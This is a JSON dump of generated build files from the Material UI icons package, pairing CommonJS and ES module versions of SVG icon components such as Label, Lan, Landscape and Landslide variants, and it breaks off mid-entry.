  {
    "path": "packages/mui-icons-material/lib/LabelImportantTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7H7.89l3.57 5-3.57 5H15l3.55-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.63 5.84C16.27 5.33 15.67 5 15 5H4l5 7-5 6.99h11c.67 0 1.27-.32 1.63-.83L21 12zM15 17H7.89l3.57-5-3.57-5H15l3.55 5z\"\n}, \"1\")], 'LabelImportantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.25 2.75 17 17L19 21l-2-2H5c-1.1 0-2-.9-2-2V7c0-.55.23-1.05.59-1.41L2 4zM22 12l-4.37-6.16C17.27 5.33 16.67 5 16 5H8l11 11z\"\n}), 'LabelOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.25 2.75 17 17L19 21l-2-2H5c-1.1 0-2-.9-2-2V7c0-.55.23-1.05.59-1.41L2 4zM22 12l-4.37-6.16C17.27 5.33 16.67 5 16 5H8l11 11z\"\n}), 'LabelOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 7 3.55 5-1.63 2.29 1.43 1.43L22 12l-4.37-6.16C17.27 5.33 16.67 5 16 5l-7.37.01 2 1.99zM2 4.03l1.58 1.58C3.22 5.96 3 6.46 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.28 0 .55-.07.79-.18L18.97 21l1.41-1.41L3.41 2.62zM14.97 17H5V7.03z\"\n}), 'LabelOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 7 3.55 5-1.63 2.29 1.43 1.43L22 12l-4.37-6.16C17.27 5.33 16.67 5 16 5l-7.37.01 2 1.99zM2 4.03l1.58 1.58C3.22 5.96 3 6.46 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.28 0 .55-.07.79-.18L18.97 21l1.41-1.41L3.41 2.62zM14.97 17H5V7.03z\"\n}), 'LabelOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.59 12.58c.25-.35.25-.81 0-1.16l-3.96-5.58C17.27 5.33 16.67 5 16 5H8.66l10.7 10.73zM2.72 4.72l.87.87C3.23 5.95 3 6.45 3 7v10c0 1.1.9 2 2 2h12l1.29 1.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.14 3.31c-.38-.38-1.01-.39-1.4-.01-.41.38-.41 1.03-.02 1.42\"\n}), 'LabelOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.59 12.58c.25-.35.25-.81 0-1.16l-3.96-5.58C17.27 5.33 16.67 5 16 5H8.66l10.7 10.73zM2.72 4.72l.87.87C3.23 5.95 3 6.45 3 7v10c0 1.1.9 2 2 2h12l1.29 1.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L4.14 3.31c-.38-.38-1.01-.39-1.4-.01-.41.38-.41 1.03-.02 1.42\"\n}), 'LabelOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4.97-7H8.66l10.7 10.73zM2 4l1 1v14h14l2 2 1.41-1.41L3.44 2.62z\"\n}), 'LabelOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4.97-7H8.66l10.7 10.73zM2 4l1 1v14h14l2 2 1.41-1.41L3.44 2.62z\"\n}), 'LabelOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 7.03V17h9.97zM16 7h-5.37l7.29 7.29L19.55 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 7 3.55 5-1.63 2.29 1.43 1.43L22 12l-4.37-6.16C17.27 5.33 16.67 5 16 5l-7.37.01 2 1.99zM2 4.03l1.58 1.58C3.22 5.96 3 6.46 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.28 0 .55-.07.79-.18L18.97 21l1.41-1.41L3.41 2.62zm3 3L14.97 17H5z\"\n}, \"1\")], 'LabelOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 7.03V17h9.97zM16 7h-5.37l7.29 7.29L19.55 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 7 3.55 5-1.63 2.29 1.43 1.43L22 12l-4.37-6.16C17.27 5.33 16.67 5 16 5l-7.37.01 2 1.99zM2 4.03l1.58 1.58C3.22 5.96 3 6.46 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.28 0 .55-.07.79-.18L18.97 21l1.41-1.41L3.41 2.62zm3 3L14.97 17H5z\"\n}, \"1\")], 'LabelOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84L22 12zM16 17H5V7h11l3.55 5z\"\n}), 'LabelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84L22 12zM16 17H5V7h11l3.55 5z\"\n}), 'LabelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84l3.96-5.58c.25-.35.25-.81 0-1.16z\"\n}), 'LabelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84l3.96-5.58c.25-.35.25-.81 0-1.16z\"\n}), 'LabelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.03 5 3 5.01v13.98l14.03.01L22 12z\"\n}), 'LabelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.03 5 3 5.01v13.98l14.03.01L22 12z\"\n}), 'LabelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 7H5v10h11l3.55-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84L22 12zM16 17H5V7h11l3.55 5z\"\n}, \"1\")], 'LabelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LabelTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 7H5v10h11l3.55-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.63 5.84C17.27 5.33 16.67 5 16 5L5 5.01C3.9 5.01 3 5.9 3 7v10c0 1.1.9 1.99 2 1.99L16 19c.67 0 1.27-.33 1.63-.84L22 12zM16 17H5V7h11l3.55 5z\"\n}, \"1\")], 'LabelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lan.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3z\"\n}), 'Lan');"
  },
  {
    "path": "packages/mui-icons-material/lib/Lan.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3z\"\n}), 'Lan');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3zM10 7V4h4v3zM9 17v3H5v-3zm10 0v3h-4v-3z\"\n}), 'LanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3zM10 7V4h4v3zM9 17v3H5v-3zm10 0v3h-4v-3z\"\n}), 'LanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 22h4c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-1v-2c0-1.1-.9-2-2-2h-3V9h1c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H8c-1.1 0-2 .9-2 2v2H5c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2H8v-2h8v2h-1c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2\"\n}), 'LanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 22h4c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-1v-2c0-1.1-.9-2-2-2h-3V9h1c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h1v2H8c-1.1 0-2 .9-2 2v2H5c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2H8v-2h8v2h-1c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2\"\n}), 'LanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3z\"\n}), 'LanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3z\"\n}), 'LanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 7V4h4v3zM9 17v3H5v-3zm10 0v3h-4v-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3zM10 7V4h4v3zM9 17v3H5v-3zm10 0v3h-4v-3z\"\n}, \"1\")], 'LanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 7V4h4v3zM9 17v3H5v-3zm10 0v3h-4v-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 22h8v-7h-3v-4h-5V9h3V2H8v7h3v2H6v4H3v7h8v-7H8v-2h8v2h-3zM10 7V4h4v3zM9 17v3H5v-3zm10 0v3h-4v-3z\"\n}, \"1\")], 'LanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Landscape.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'Landscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/Landscape.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'Landscape');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-4.22 5.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22zM5 16l1.52-2.03L8.04 16z\"\n}), 'LandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-4.22 5.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22zM5 16l1.52-2.03L8.04 16z\"\n}), 'LandscapeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.2 7.07 10.25 11l2.25 3c.33.44.24 1.07-.2 1.4s-1.07.25-1.4-.2c-1.05-1.4-2.31-3.07-3.1-4.14-.4-.53-1.2-.53-1.6 0l-4 5.33c-.49.67-.02 1.61.8 1.61h18c.82 0 1.29-.94.8-1.6l-7-9.33c-.4-.54-1.2-.54-1.6 0\"\n}), 'LandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.2 7.07 10.25 11l2.25 3c.33.44.24 1.07-.2 1.4s-1.07.25-1.4-.2c-1.05-1.4-2.31-3.07-3.1-4.14-.4-.53-1.2-.53-1.6 0l-4 5.33c-.49.67-.02 1.61.8 1.61h18c.82 0 1.29-.94.8-1.6l-7-9.33c-.4-.54-1.2-.54-1.6 0\"\n}), 'LandscapeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'LandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 6-3.75 5 2.85 3.8-1.6 1.2C9.81 13.75 7 10 7 10l-6 8h22z\"\n}), 'LandscapeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3.04l-1.52-2.03z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.78 11.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22L14 6zM5 16l1.52-2.03L8.04 16z\"\n}, \"1\")], 'LandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandscapeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3.04l-1.52-2.03z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.78 11.63 1.25 1.67L14 9.33 19 16h-8.46l-4.01-5.37L1 18h22L14 6zM5 16l1.52-2.03L8.04 16z\"\n}, \"1\")], 'LandscapeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Landslide.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.47 13.79-2.58-1.03L6 15.05l-4-1.54v2.1l4 1.34zm-4.9-2.37L8 8H2v3.61l4 1.34zM6 19.05l-4-1.33V22h20l-4.97-6.62zM17 6V1l-5-1-3 2v4l3 2zm1.5 1L16 9v3l2.5 2 4.5-2V8z\"\n}), 'Landslide');"
  },
  {
    "path": "packages/mui-icons-material/lib/Landslide.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.47 13.79-2.58-1.03L6 15.05l-4-1.54v2.1l4 1.34zm-4.9-2.37L8 8H2v3.61l4 1.34zM6 19.05l-4-1.33V22h20l-4.97-6.62zM17 6V1l-5-1-3 2v4l3 2zm1.5 1L16 9v3l2.5 2 4.5-2V8z\"\n}), 'Landslide');"
  },
  {
    "path": "packages/mui-icons-material/lib/LandslideOutlined.js",
